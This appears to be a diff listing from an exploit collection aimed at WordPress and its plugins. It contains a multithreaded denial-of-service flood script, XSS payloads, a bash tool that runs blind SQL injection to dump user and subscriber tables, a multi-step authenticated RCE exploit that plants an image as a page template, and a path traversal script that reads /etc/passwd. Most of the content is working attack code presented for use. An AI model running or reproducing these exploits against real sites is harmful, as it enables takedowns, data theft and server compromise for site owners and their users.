35	+	return "Mozilla/5.0 (%s) AppleWebKit/%s.0 (KHTML, like Gecko) Chrome/%s Safari/%s"%(self.agent['os'], webkit, version, webkit)
36	+	elif self.agent['browser'] == 'Firefox':
37	+	year = str(random.randint(2000, 2015))
38	+	month = str(random.randint(1, 12)).zfill(2)
39	+	day = str(random.randint(1, 28)).zfill(2)
40	+	gecko = "%s%s%s"%(year, month, day)
41	+	version = "%s.0"%(str(random.randint(1, 15)))
42	+
43	+	return "Mozillia/5.0 (%s; rv:%s) Gecko/%s Firefox/%s"%(self.agent['os'], version, gecko, version)
44	+	elif self.agent['browser'] == 'IE':
45	+	version = "%s.0"%(str(random.randint(1, 10)))
46	+	engine = "%s.0"%(str(random.randint(1, 5)))
47	+	option = random.choice([True, False])
48	+	if option:
49	+	token = "%s;"%(random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']))
50	+	else:
51	+	token = ''
52	+
53	+	return "Mozilla/5.0 (compatible; MSIE %s; %s; %sTrident/%s)"%(version, self.agent['os'], token, engine)
54	+
55	+	def get_os(self):
56	+	if self.agent['platform'] == 'Machintosh':
57	+	self.agent['os'] = random.choice(['68K', 'PPC'])
58	+	elif self.agent['platform'] == 'Windows':
59	+	self.agent['os'] = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE'])
60	+	elif self.agent['platform'] == 'X11':
61	+	self.agent['os'] = random.choice(['Linux i686', 'Linux x86_64'])
62	+
63	+	def get_browser(self):
64	+	self.agent['browser'] = random.choice(['Chrome', 'Firefox', 'IE'])
65	+
66	+	def get_platform(self):
67	+	self.agent['platform'] = random.choice(['Machintosh', 'Windows', 'X11'])
68	+
69	+
70	+	UA = UserAgent().random()
71	+
72	+	def attack_header():
73	+	global UA,host
74	+	headers = {
75	+	'Host': host,
76	+	'User-Agent': UA,
77	+	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8',
78	+	'Accept-Encoding': 'gzip, deflate',
79	+	'Cache-Control': 'no-cache',
80	+	'Connection': 'keep-alive'
81	+	}
82	+	return headers
83	+
84	+	def sendPy(url):
85	+	headers = attack_header()
86	+	try:
87	+	request = requests.get(url, headers=headers)
88	+	except:
89	+	pass
90	+
91	+	class sendPyThread(threading.Thread):
92	+	def run(self):
93	+	try:
94	+	while True:
95	+	global url
96	+	sendPy(url)
97	+	except:
98	+	pass
99	+
100	+
101	+	print("Exploit Done It Should Be Down Now !!!")
102	+
103	+	for i in range(tw):
104	+	go = sendPyThread()
105	+	go.start()
106	+

■ ■ ■ ■ ■ ■

CVE-2018-6389/README.md

1	+	# CVE-2018-6389 Wordpress Exploit
2	+
3	+	CVE-2018-6389 Exploit Can Down Any Wordpress site under 4.9.3 <Br>
4	+	The flaw affects the load-scripts.php WordPress script, it receives a parameter called load[]
5	+
6	+	## About PoC
7	+	A simple Script In Python With threading could allow anyone to take down most WordPress websites with single machine
8	+	### Info
9	+
10	+	Can Down Any Website with Tested Wordpress versions <Br>
11	+	* Tested : WordPress (Version 4.9.2)
12	+	* Tested : WordPress (Version 4.9.1)
13	+
14	+	```
15	+	Note : I Am Not The Author Of the Exploit
16	+	```
17	+
18	+	## References
19	+
20	+	* [PoC](https://www.youtube.com/watch?v=nNDsGTalXS0) - Youtube
21	+	* [ Barak Tawily ](https://baraktawily.blogspot.com/2018/02/how-to-dos-29-of-world-wide-websites.html) - Blog
22	+	* [ CVE MITRE ](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389) - CVE MITRE
23	+

■ ■ ■ ■ ■ ■

CVE-2019-14470/README.md

1	+	# UserPro <= 4.9.34 - Unauthenticated Reflected XSS
2	+	Description
3	+
4	+	Edit (WPscanTeam):
5	+
6	+	August 26th, 2019 - Envato Notified
7	+
8	+	September 2nd, 2019 - v4.9.34 released, still vulnerable
9	+
10	+	September 24th, 2019 - v4.9.35 and 4.9.35.1 released, fixing the issue
11	+
12	+	# Proof of Concept
13	+	```
14	+	/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=%3Csvg/onload=alert(/XSS/)%3E
15	+	```
16	+

■ ■ ■ ■ ■ ■

CVE-2019-14799/README.md

1	+	# FV Flowplayer Video Player <= 7.3.13.727 - Unauthenticated Stored XSS
2	+	Description
3	+
4	+	The vulnerable function is exposed to unauthenticated users over `wp_ajax_nopriv_fv_wp_flowplayer_email_signup` ajax hook. It saves anything that user provides in `email` POST parameter.
5	+
6	+	# Proof of Concept
7	+	```
8	+	Send POST request to wp-admin/admin-ajax.php with body content:
9	+
10	+
11	+
12	+	"action=fv_wp_flowplayer_email_signup&list=1&email=<svg/onload=prompt(1)>@test.com"
13	+
14	+
15	+
16	+	The provided email input is then rendered on email export screen.
17	+	```
18	+

■ ■ ■ ■ ■ ■

CVE-2019-16332/README.md

1	+	# API Bearer Auth <= 20181229 - Unauthenticated Reflected XSS
2	+	Description
3	+	The server GET parameter of the swagger/swagger-config.yaml.php file is affected by a reflected XSS issue.
4	+	# Proof of Concept
5	+	```
6	+	/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=<script>alert("XSS")</script>
7	+	```
8	+

■ ■ ■ ■ ■ ■

CVE-2019-20173/README.md

1	+	# Auth0 < 3.11.3 - Unauthenticated Reflected XSS via wle Parameter
2	+	Description
3	+	XSS via a wle parameter associated with wp-login.php.
4	+	# Proof of Concept
5	+	```
6	+	WP/wp-login.php?wle=%22%20onEvent%3DX186697040Y2Z%20
7	+	```
8	+

■ ■ ■ ■ ■ ■

CVE-2019-20361-EXPLOIT/README.md

1	+	# CVE-2019-20361-EXPLOIT
2	+	There was a flaw in the WordPress plugin, Email Subscribers & Newsletters before 4.3.1, that allowed SQL statements to be passed to the database in the hash parameter (a blind SQL injection vulnerability).
3	+	This script is a "sanized-version" of original script avalible on exploit-db.com created by @KBA@SOGETI_ESEC
4	+	,the original version was sanized on RaidForums.com
5	+
6	+
7	+	![re4](https://user-images.githubusercontent.com/80862953/111556854-63d06780-8783-11eb-98f0-a4a6b48e98ec.png)
8	+
9	+
10	+	<h3>COMMAND</h3>
11	+
12	+	<p> > $ git clone https://github.com/jerrylewis9/CVE-2019-20361-EXPLOIT.git <br>
13	+	> $ cd CVE-2019-20361-EXPLOIT <br>
14	+	> $ chmod +x noodles.sh <br>
15	+	> $ bash noodles.sh "url"</p>
16	+
17	+
18	+	<h3>PREREQUISITE</h3>
19	+
20	+	sqlmap (https://github.com/sqlmapproject/sqlmap)
21	+
22	+
23	+	#The script recognize sqlmap, not sqlmap.py or similiar, so move sqlmap to bin directory.
24	+
25	+
26	+

■ ■ ■ ■ ■ ■

CVE-2019-20361-EXPLOIT/noodles.sh

1	+	#!/bin/bash
2	+	# Exploit Title: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - 'hash' SQL Injection (Unauthenticated)
3	+	# Google Dork: "Stable tag" inurl:wp-content/plugins/email-subscribers/readme.txt
4	+	# Date: 2020-07-20
5	+	# Sanized on RaidForums.com (2021)
6	+	# Original Exploit Author: KBAZ@SOGETI_ESEC
7	+	# Vendor Homepage: https://www.icegram.com/email-subscribers/
8	+	# Software Link: https://pluginarchive.com/wordpress/email-subscribers/v/4-2-2
9	+	# Version: < 4.3.3
10	+	# Tested on: Email Subscribers & Newsletters 4.2.2
11	+	# CVE : CVE-2019-20361
12	+	# Reference : https://vuldb.com/?id.148399, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20361, https://www.exploit-db.com/exploits/48699
13	+
14	+
15	+
16	+	main () {
17	+	header
18	+	if [ "$#" -ne 1 ]; then
19	+	echo "Usage : bash noodles.sh [BASE URL]"
20	+	echo "Example : bash noodles.sh http://127.0.0.1/"
21	+	exit
22	+	fi
23	+
24	+
25	+
26	+	url=$1
27	+	echo ' Target URL : ' "$url"
28	+	echo ' Generating sqlmap tamper script in /tmp'
29	+	gen_sqlmap_tamper
30	+	sqlmap_cmd="sqlmap -u ${url}/?es=open&hash=* --tamper /tmp/tamper_CVE-2019-1356989.py --technique T --dbms mysql --level 5 --risk 3"
31	+	echo ' SQLMap base command : ' "$sqlmap_cmd"
32	+
33	+	while true
34	+	do
35	+	sleep 1
36	+	echo ''
37	+	echo " Possible choices: "
38	+	echo ''
39	+	echo " 0) Exit"
40	+	echo " 1) Simple vulnerability test SLEEP(5)"
41	+	echo " 2) Vulnerability test with SQLMap "
42	+	echo " 3) Get WP users data"
43	+	echo " 4) Get subscribers information"
44	+	echo " 5) Get 'Simple WP SMTP' settings"
45	+	echo ''
46	+	echo -n ' Choice number => '
47	+	read n
48	+
49	+	case $n in
50	+	0) exit ;;
51	+	1) echo 'Testing SLEEP(5)...'
52	+	{ time (curl -i -s -k ${url}'/?es=open&hash=eyJtZXNzYWdlX2lkIjoiMTAwIiwiY2FtcGFpZ25faWQiOiIxMDAiLCJjb250YWN0X2lkIjoiIDEwMCcsJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsKFNFTEVDVCBTTEVFUCg1KSksJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsJzEwMCAiLCJlbWFpbCI6ImtiYXpAc29nZXRpZXNlYy5jb20iLCJndWlkIjoia2JhemlzLWRhYmVzdC1rYmF6aXMtZGFiZXN0LWJhcHJvdSIsImFjdGlvbiI6Im9wZW4ifQo' > /dev/null) } \|& grep -q '0m5,' && echo -e "\033[0;31m" ' [+] Vulnerable' "\033[0m" \|\| echo ' [-] Not vulnerable' ;;
53	+	2) $sqlmap_cmd ;;
54	+	3) $sqlmap_cmd -T wp_users,wp_usermeta --dump ;;
55	+	4) $sqlmap_cmd -T wp_ig_contacts --dump ;;
56	+	5) $sqlmap_cmd --sql-query 'select * from wp_options where option_name="swpsmtp_options"' ;;
57	+	*) echo "Invalid option" ;;
58	+	esac
59	+	done
60	+
61	+	}
62	+
63	+	header () {
64	+
65	+	echo ''
66	+	echo ' ################################################################################################';
67	+	echo ' # ___ ___ ___ ___ ___ #';
68	+	echo ' # /\ \ /\ \ /\ \ /\ \ /\ \ ___ #';
69	+	echo ' # /::\ \ /::\ \ /::\ \ /::\ \ \:\ \ /\ \ #';
70	+	echo ' # /:/\ \ \ /:/\:\ \ /:/\:\ \ /:/\:\ \ \:\ \ \:\ \ #';
71	+	echo ' # _\:\~\ \ \ /:/ \:\ \ /:/ \:\ \ /::\~\:\ \ /::\ \ /::\__\ #';
72	+	echo ' # /\ \:\ \ \__/:/__/ \:\__/:/__/_\:\__/:/\:\ \:\__\/:/\:\__\__/:/\/__/ #';
73	+	echo ' # \:\ \:\ \/__\:\ \ /:/ \:\ /\ \/__\:\~\:\ \/__/:/ \/__/\/:/ / #';
74	+	echo ' # \:\ \:\__\ \:\ /:/ / \:\ \:\__\ \:\ \:\__\/:/ / \::/__/ #';
75	+	echo ' # \:\/:/ / \:\/:/ / \:\/:/ / \:\ \/__/\/__/ \:\__\ #';
76	+	echo ' # \::/ / \::/ / \::/ / \:\__\ \/__/ #';
77	+	echo ' # \/__/ \/__/ \/__/ \/__/ #';
78	+	echo ' # ___ ___ ___ ___ #';
79	+	echo ' # /\ \ /\ \ /\ \ /\ \ #';
80	+	echo ' # /::\ \ /::\ \ /::\ \ /::\ \ #';
81	+	echo ' # EXPLOIT /:/\:\ \ /:/\ \ \ /:/\:\ \ /:/\:\ \ #';
82	+	echo ' # Email Subscribers & Newsletters < 4.3.1 /::\~\:\ \ _\:\~\ \ \ /::\~\:\ \ /:/ \:\ \ #';
83	+	echo ' # Unauthenticated Blind SQL Injection /:/\:\ \:\__/\ \:\ \ \__/:/\:\ \:\__/:/__/ \:\__\ #';
84	+	echo ' # \:\~\:\ \/__\:\ \:\ \/__\:\~\:\ \/__\:\ \ \/__/ #';
85	+	echo ' # \:\ \:\__\ \:\ \:\__\ \:\ \:\__\ \:\ \ #';
86	+	echo ' # \:\ \/__/ \:\/:/ / \:\ \/__/ \:\ \ #';
87	+	echo ' # \:\__\ \::/ / \:\__\ \:\__\ #';
88	+	echo ' # SANIZED ON RAIDFORUMS.COM \/__/ \/__/ \/__/ \/__/ #';
89	+	echo ' # #';
90	+	echo ' # EXPLOIT SANIZED 2021 (NOT THE SAME VERSION OF EXPLOIT-DB) #';
91	+	echo ' ################################################################################################';
92	+	echo ''
93	+	}
94	+
95	+	raw_commands () {
96	+
97	+	echo '{"message_id":"100","campaign_id":"100","contact_id":"' "100','100','100','3'),('1594999398','1594999398','1',(SELECT SLEEP(5)),'100','100','3'),('1594999398','1594999398','1','100" '","email":"[email protected]","guid":"kbazis-dabest-kbazis-dabest-baprou","action":"open"}' \| base64 -w 0
98	+
99	+	{ time (curl -i -s -k 'http://127.0.0.1/?es=open&hash=eyJtZXNzYWdlX2lkIjoiMTAwIiwiY2FtcGFpZ25faWQiOiIxMDAiLCJjb250YWN0X2lkIjoiIDEwMCcsJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsKFNFTEVDVCBTTEVFUCg1KSksJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsJzEwMCAiLCJlbWFpbCI6ImtiYXpAc29nZXRpZXNlYy5jb20iLCJndWlkIjoia2JhemlzLWRhYmVzdC1rYmF6aXMtZGFiZXN0LWJhcHJvdSIsImFjdGlvbiI6Im9wZW4ifQo' > /dev/null) } \|& grep -q '0m5,' && echo '[+] Vulnerable' \|\| echo '[-] Not vulnerable'
100	+
101	+	sqlmap -u 'http://127.0.0.1/?es=open&hash=*' --tamper /tmp/tamper_CVE-2019-1356989.py --technique T --dbms mysql --level 5 --risk 3
102	+
103	+	-T wp_users,wp_usermeta --dump
104	+	-T wp_ig_contacts --dump
105	+	--sql-query 'select * from wp_options where option_name="swpsmtp_options"'
106	+
107	+	}
108	+
109	+	gen_sqlmap_tamper () {
110	+
111	+	touch /tmp/__init__.py
112	+
113	+	cat << _END > /tmp/tamper_CVE-2019-1356989.py
114	+	#!/usr/bin/env python
115	+
116	+	import base64
117	+	import urllib
118	+
119	+	def tamper(payload, **kwargs):
120	+
121	+	#{"message_id":"100","campaign_id":"100","contact_id":"100","email":"[email protected]","guid":"kbazis-dabest-kbazis-dabest-baprou","action":"open"}
122	+	#INSERT INTO wp_ig_actions (created_at, updated_at, count, contact_id, message_id, campaign_id, type) VALUES ('1595001866','1595001866','1','100','100','100','3') ON DUPLICATE KEY UPDATE created_at = created_at, count = count+1, updated_at = '1595001866'
123	+
124	+	param = '{"contact_id":"'
125	+	param += "100','100','100','3'),('1594999398','1594999398','1',(1%s),'100','100','3'),('1594999398','1594999398','1','100"
126	+	param += '","campaign_id":"100","message_id":"100","email":"[email protected]","guid":"kbazis-dabest-kbazis-dabest-baprou","action":"open"}'
127	+
128	+	#print(param%payload)
129	+	return base64.encodestring( (param%payload).encode('utf-8') ).decode('utf-8').replace('\n', '')
130	+	_END
131	+	}
132	+
133	+	main $@
134	+

■ ■ ■ ■ ■ ■

CVE-2019-8942-RCE/2019-8942-RCE.py

1	+	import requests
2	+	import sys
3	+	from bs4 import BeautifulSoup
4	+	from requests import Request, Session
5	+	import pathlib
6	+	baseDirectory=str(pathlib.Path(__file__).parent.absolute())
7	+
8	+	from wordpress_xmlrpc import Client, WordPressPost
9	+	from wordpress_xmlrpc.compat import xmlrpc_client
10	+	from wordpress_xmlrpc.methods import media, posts
11	+
12	+	class DemoPOC(object):
13	+	def __init__(self, args):
14	+	self.args = args
15	+	self.targetUrl = args.targetUrl
16	+	self.img_path=args.img_path
17	+	self.atLeastAuthorAccount={
18	+	'log': args.username,
19	+	'pwd': args.password
20	+	}
21	+	self.hostname=self.GetHostName()
22	+	self.s=Session()
23	+	#For testing uploaded -- need to delete
24	+	self.img_uploaded={
25	+	'id': '44',
26	+	'file': 'h.jpg',
27	+	'post_name':'h.jpg',
28	+	}
29	+	self.img_filename_only='h'
30	+	self.injected_img='h-e1596731027832.jpg'
31	+	def GetHostName(self):
32	+	hostname=''
33	+	s=self.targetUrl
34	+	if(s.find('http')== -1):
35	+	s ='http://'+s
36	+	self.targetUrl=s
37	+	flag=0
38	+	for i in range(len(s)):
39	+	if(flag==1):
40	+	hostname+=s[i]
41	+	if(i+1==len(s)):break
42	+	if(s[i+1]=='/'):
43	+	flag=0
44	+	break
45	+	if(s[i]=='/'):
46	+	flag=1
47	+	if(i+1==len(s)):break
48	+	if(s[i+1]=='/'):
49	+	flag=0
50	+	return hostname
51	+	def DefineMaliciousImage(self):
52	+	print("Preparing Malicious Image...")
53	+	if(not self.img_path==''):
54	+	print("No specific image. Looking for default malicious img...")
55	+	fileName='h.jpg'
56	+	filePath=baseDirectory+"\\"+fileName
57	+	fileToUpload={
58	+	"filename":fileName,
59	+	"filepath":filePath
60	+	}
61	+	self.fileToUpload=fileToUpload
62	+	else:
63	+	pass
64	+	######upload malicious image
65	+	try:
66	+	self.img_uploaded = self.UploadFile()
67	+	self.img_uploaded["post_name"]=self.img_uploaded["file"]
68	+	tmp=self.img_uploaded["file"].split('.')
69	+	if(len(tmp)>0):
70	+	self.img_filename_only=tmp[0]
71	+	except Exception as ee:
72	+	print("cannot upload file")
73	+	print(ee)
74	+	# img == {
75	+	# 'id': 41,
76	+	# 'file': 'h.jpg'
77	+	# 'url': 'http://www.example.com/wp-content/uploads/2012/04/16/picture.jpg',
78	+	# 'type': 'image/jpeg',
79	+	# }
80	+
81	+	def UploadFile(self):
82	+	url=self.targetUrl+'/xmlrpc.php'
83	+	client = Client(url,self.atLeastAuthorAccount['log'],self.atLeastAuthorAccount['pwd'])
84	+	# set to the path to your file
85	+	filepath = self.fileToUpload['filepath']
86	+
87	+	# prepare metadata
88	+	data = {
89	+	'name': self.fileToUpload['filename'],
90	+	'type': 'image/jpeg', # mimetype
91	+	}
92	+
93	+	# read the binary file and let the XMLRPC library encode it into base64
94	+	with open(filepath, 'rb') as img:
95	+	data['bits'] = xmlrpc_client.Binary(img.read())
96	+
97	+	response = client.call(media.UploadFile(data))
98	+	# response == {
99	+	# 'id': 6,
100	+	# 'file': 'picture.jpg'
101	+	# 'url': 'http://www.example.com/wp-content/uploads/2012/04/16/picture.jpg',
102	+	# 'type': 'image/jpeg',
103	+	# }
104	+	print("Uplaod ảnh nhiễm độc thành công!")
105	+	return response
106	+
107	+	def Update_Image(self,turn):
108	+	print("Bắt đầu chỉnh sửa _wp_attached_file")
109	+
110	+	s=Session()
111	+	url=self.targetUrl+'/wp-admin/post.php'
112	+	img=self.img_uploaded['post_name']
113	+	data=self.post_data_update
114	+	if(turn==1):
115	+	data["meta_input[_wp_attached_file]"]="2020/08/"+img+"#/"+img
116	+	elif(turn==2):
117	+	data["meta_input[_wp_attached_file]"]="2020/08/"+img+"#/../../../../themes/twentyseventeen/"+img
118	+	headers={
119	+	"Host": self.hostname,
120	+	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
121	+	"Accept": 'text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8',
122	+	'Accept-Language': 'en-US,en;q=0.5',
123	+	'Accept-Encoding': 'gzip, deflate',
124	+	'Referer': self.targetUrl+'/wp-admin/post.php?post='+self.post_data_update['post_ID']+'&action=edit',
125	+	'Content-Type': 'application/x-www-form-urlencoded',
126	+	#'Content-Length': '893',
127	+	'Cookie':self.cookies,
128	+	}
129	+	#auth = ('author1', 'author')
130	+	req = Request('POST', url,
131	+	data=data,
132	+	headers=headers
133	+	#auth=auth
134	+	)
135	+	prepped = s.prepare_request(req)
136	+	#proxies={'http': 'http://10.9.2.23:9090'}
137	+	resp = s.send(prepped,
138	+	#proxies=proxies
139	+	# timeout=timeout
140	+	)
141	+	print("Chỉnh sửa thành công")
142	+	print(resp.status_code)
143	+	def SaveCroppedImage(self):
144	+	s = Session()
145	+	url=self.targetUrl+'/wp-admin/admin-ajax.php'
146	+
147	+	data={
148	+	"action":"image-editor",
149	+	"_ajax_nonce":self.post_data_crop['_ajax_nonce'],
150	+	"postid":self.post_data_crop['postid'],
151	+	"history":'%5B%7B%22c%22%3A%7B%22x%22%3A18%2C%22y%22%3A66%2C%22w%22%3A298%2C%22h%22%3A217%7D%7D%5D',
152	+	"target":"all",
153	+	"context":"edit-attachment",
154	+	"do":"save"
155	+	}
156	+	headers={
157	+	"Host": self.hostname,
158	+	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
159	+	'Accept-Language': 'en-US,en;q=0.5',
160	+	'Accept-Encoding': 'gzip, deflate',
161	+	'Referer': self.targetUrl+'/wp-admin/post.php?post='+self.post_data_crop['postid']+'&action=edit',
162	+	'Content-Type': 'application/x-www-form-urlencoded',
163	+	#'Content-Length': '893',
164	+	'Cookie':self.cookies,
165	+	#Khác so với header của bên trên
166	+	"Accept": '/',
167	+	"charset":"UTF-8",
168	+	"X-Requested-With":"XMLHttpRequest"
169	+	}
170	+	#auth = ('author1', 'author')
171	+	req = Request('POST', url,
172	+	data=data,
173	+	headers=headers
174	+	)
175	+	prepped = s.prepare_request(req)
176	+	#proxies={'http': 'http://10.9.2.23:9090'}
177	+	resp = s.send(prepped,
178	+	#proxies=proxies
179	+	#timeout=timeout
180	+	)
181	+	if(resp.status_code==200):
182	+	print("Save Cropped Image successfully")
183	+	print(resp)
184	+	#Lấy giá trị của file Cropped vào Theme: Example: h-e1596731027832.jpg
185	+	#content=b'{"fw":300,"fh":286,"thumbnail":"http:\\/\\/10.9.2.0\\/wordpress480\\/wp-content\\/uploads\\/2020\\
186	+	# /08\\/h.jpg#\\/..\\/..\\/..\\/..\\/themes\\/twentyseventeen\\/h-e1596731027832.jpg","msg":"Image saved"}'
187	+	content=resp.content.decode()
188	+	filename=self.img_filename_only
189	+	print(content)
190	+	injected_img=''
191	+	flag=0
192	+	for i in range(len(content)):
193	+	if(content[i]==filename):
194	+	if(content[i+1]=='-'):flag=1
195	+	if(flag==1):
196	+	injected_img+=content[i]
197	+	if(content[i+1]=='"'):
198	+	break
199	+	print("Save Cropped Response:"+content)
200	+	print('New image path:'+injected_img)
201	+	self.injected_img=injected_img
202	+	#########XU LY LAY THOG TIN CHO self.injected_img
203	+	def getCookies(self,cookieSession):
204	+	ret=''
205	+	# tmp=forGetCookies.cookies._cookies
206	+	cookies=cookieSession[self.hostname]
207	+	data={}
208	+	for key in cookies.keys():
209	+	tmp=cookies[key]
210	+	for k,v in tmp.items():
211	+	data[k]=v
212	+	for k,v in data.items():
213	+	ret+=(k +'='+str(v.value)+';')
214	+	return ret
215	+	def Exploit(self):
216	+	self.cookies=''
217	+	self.post_data_update={}
218	+	self.post_data_crop={}
219	+	#img={"post_name":"p.jpg","id":"15"}
220	+	self.post_data_crop['postid']=self.img_uploaded['id']
221	+	with requests.Session() as s:
222	+	try:
223	+	b = s.get(self.targetUrl+'/wp-login.php')
224	+	a = s.post(self.targetUrl+'/wp-login.php',data=self.atLeastAuthorAccount)
225	+	self.cookies=self.getCookies(s.cookies._cookies)
226	+	#x=1
227	+	except Exception as ee:
228	+	print(ee)
229	+	forGetNonce=s.get(self.targetUrl+'/wp-admin/post.php?post='+self.img_uploaded['id']+'&action=edit')
230	+	self.post_data_crop['history']=forGetNonce.history
231	+	soup = BeautifulSoup(forGetNonce.content,'html.parser')
232	+	mainForm = soup.find('form', {"name": "post"})
233	+	allHidden= mainForm.findAll("input", {"type": "hidden"})
234	+	counter=0
235	+	for i in allHidden:
236	+	try:
237	+	self.post_data_update[i['name']]=i['value']
238	+	counter+=1
239	+	except:
240	+	pass
241	+	#print("Get "+str(counter)+" hidden input:")
242	+	# for i in post_data_update:
243	+	# print(i)
244	+	try:
245	+	forGetAjaxNonce=soup.find('input', {"id": "imgedit-open-btn-"+self.img_uploaded['id']}) #"value":"Edit Image"
246	+	value=forGetAjaxNonce['onclick']
247	+	value=value.split('"')
248	+	self.post_data_crop['_ajax_nonce']=value[1]
249	+	except:
250	+	print("Cannot get _ajax_nonce")
251	+	self.Update_Image(1)
252	+	self.SaveCroppedImage()
253	+	while(1):
254	+	print("Bấm enter để đưa ảnh vào Theme Twentyseven của Wordpress")
255	+	next_request=input()
256	+	self.Update_Image(2)
257	+	self.SaveCroppedImage()
258	+	break
259	+	print("Exit")
260	+	def GetShell(self):
261	+	cookies=''
262	+	post_data_add_post={}
263	+	with requests.Session() as s:
264	+	try:
265	+	a = s.post(self.targetUrl+'/wp-login.php',data=self.atLeastAuthorAccount)
266	+	b = s.get(self.targetUrl+'/wp-admin/post-new.php')
267	+	cookies=self.getCookies(s.cookies._cookies)
268	+	except Exception as ee:
269	+	print(ee)
270	+	soup = BeautifulSoup(b.content,'html.parser')
271	+	mainForm = soup.find('form', {"name": "post"})
272	+	allHidden= mainForm.findAll("input", {"type": "hidden"})
273	+	counter=0
274	+	for i in allHidden:
275	+	try:
276	+	post_data_add_post[i['name']]=i['value']
277	+	counter+=1
278	+	except:
279	+	pass
280	+	print("Get "+str(counter)+" hidden input:")
281	+	# for i in post_data_update:
282	+	# print(i)
283	+	##FROM HERE SEND PAYLOAD wp_template######======================================================
284	+	s = Session()
285	+	url=self.targetUrl+'/wp-admin/post.php'
286	+	data=post_data_add_post
287	+	data["meta_input[_wp_page_template]"]=self.injected_img
288	+
289	+	headers={
290	+	"Host": self.hostname,
291	+	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
292	+	'Accept-Language': 'en-US,en;q=0.5',
293	+	'Accept-Encoding': 'gzip, deflate',
294	+	'Referer': self.targetUrl+'/wp-admin/post-new.php?wp-post-new-reload=true',
295	+	'Content-Type': 'application/x-www-form-urlencoded',
296	+	'Cookie':cookies,
297	+	#Khác so với header của bên trên
298	+	"Accept": 'text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8'
299	+	}
300	+	#auth = ('author1', 'author')
301	+	req = Request('POST', url,
302	+	data=data,
303	+	headers=headers
304	+	)
305	+	prepped = s.prepare_request(req)
306	+	#proxies={'http': 'http://10.9.2.11:9090'}
307	+	resp = s.send(prepped,
308	+	#proxies=proxies
309	+	#timeout=timeout
310	+	)
311	+	if(resp.status_code==200):
312	+	print("Exploit Successfully")
313	+	print("Visit this malicious site to se result")
314	+	print(self.targetUrl+'/?p='+post_data_add_post['post_ID'])
315	+	#START CODE
316	+	import argparse
317	+	if __name__ == "__main__":
318	+	# parse command line arguments
319	+	parser = argparse.ArgumentParser()
320	+	print('Example: python 2019-8942-RCE.py http://10.25.0.0/wordpress500 author 123456')
321	+
322	+	parser.add_argument('targetUrl', help='target site\'s context root url like http://www.example.com/demo/')
323	+	parser.add_argument('username', help='Username with at least Author privilege')
324	+	parser.add_argument('password', help='Password with at least Author privilege')
325	+	parser.add_argument('--img-path', help='Img path')
326	+
327	+	args = parser.parse_args()
328	+	#For debugging
329	+
330	+	exploit=DemoPOC(args)
331	+
332	+	exploit.DefineMaliciousImage()
333	+	exploit.Exploit()
334	+	exploit.GetShell()
335	+

■ ■ ■ ■ ■ ■

CVE-2019-8942-RCE/README.md

1	+	# 2019-8942-rce
2	+	The Wordpress RCE Exploit written by HoangTrong
3	+

CVE-2019-8942-RCE/h.jpg

■ ■ ■ ■ ■ ■

CVE-2020-11738/README.md

1	+	# Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read
2	+
3	+	```
4	+	Usage: CVE-2020-11738.py http://192.168.168.167 /etc/passwd
5	+	```
6	+	References:
7	+	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11738
8	+

■ ■ ■ ■ ■ ■

CVE-2020-11738/exploit.py

1	+	# Exploit Title: Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read
2	+	# Date: October 16, 2021
3	+	# Exploit Author: nam3lum
4	+	# Vendor Homepage: https://wordpress.org/plugins/duplicator/
5	+	# Software Link: https://downloads.wordpress.org/plugin/duplicator.1.3.26.zip]
6	+	# Version: 1.3.26
7	+	# Tested on: Ubuntu 16.04
8	+	# CVE : CVE-2020-11738
9	+
10	+	import requests as re
11	+	import sys
12	+
13	+	if len(sys.argv) != 3:
14	+	print("Exploit made by nam3lum.")
15	+	print("Usage: CVE-2020-11738.py http://192.168.168.167 /etc/passwd")
16	+	exit()
17	+
18	+	arg = sys.argv[1]
19	+	file = sys.argv[2]
20	+
21	+	URL = arg + "/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../.." + file
22	+
23	+	output = re.get(url = URL)
24	+	print(output.text)
25	+

■ ■ ■ ■ ■ ■

CVE-2020-11930/README.md

1	+	# GTranslate < 2.8.52 - Unauthenticated Reflected Cross Site Scripting (XSS)
2	+	Description
3	+
4	+	The GTranslate plugin before 2.8.52 for WordPress was vulnerable to an Unauthenticated Reflected XSS vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.
5	+
6	+
7	+
8	+	The vulnerability was due to outputting the WordPress add_query_arg function without prior escaping.
9	+
10	+	# Proof of Concept
11	+	```
12	+	http://www.example.com/does_not_exist"><script>alert('XSS')</script><img src=x
13	+	```
14	+

■ ■ ■ ■ ■ ■

CVE-2020-12800/README.md

1	+	# CVE-2020-12800
2	+	POC Script for CVE-2020-12800: RCE through Unrestricted File Type Upload
3	+
4	+
5	+

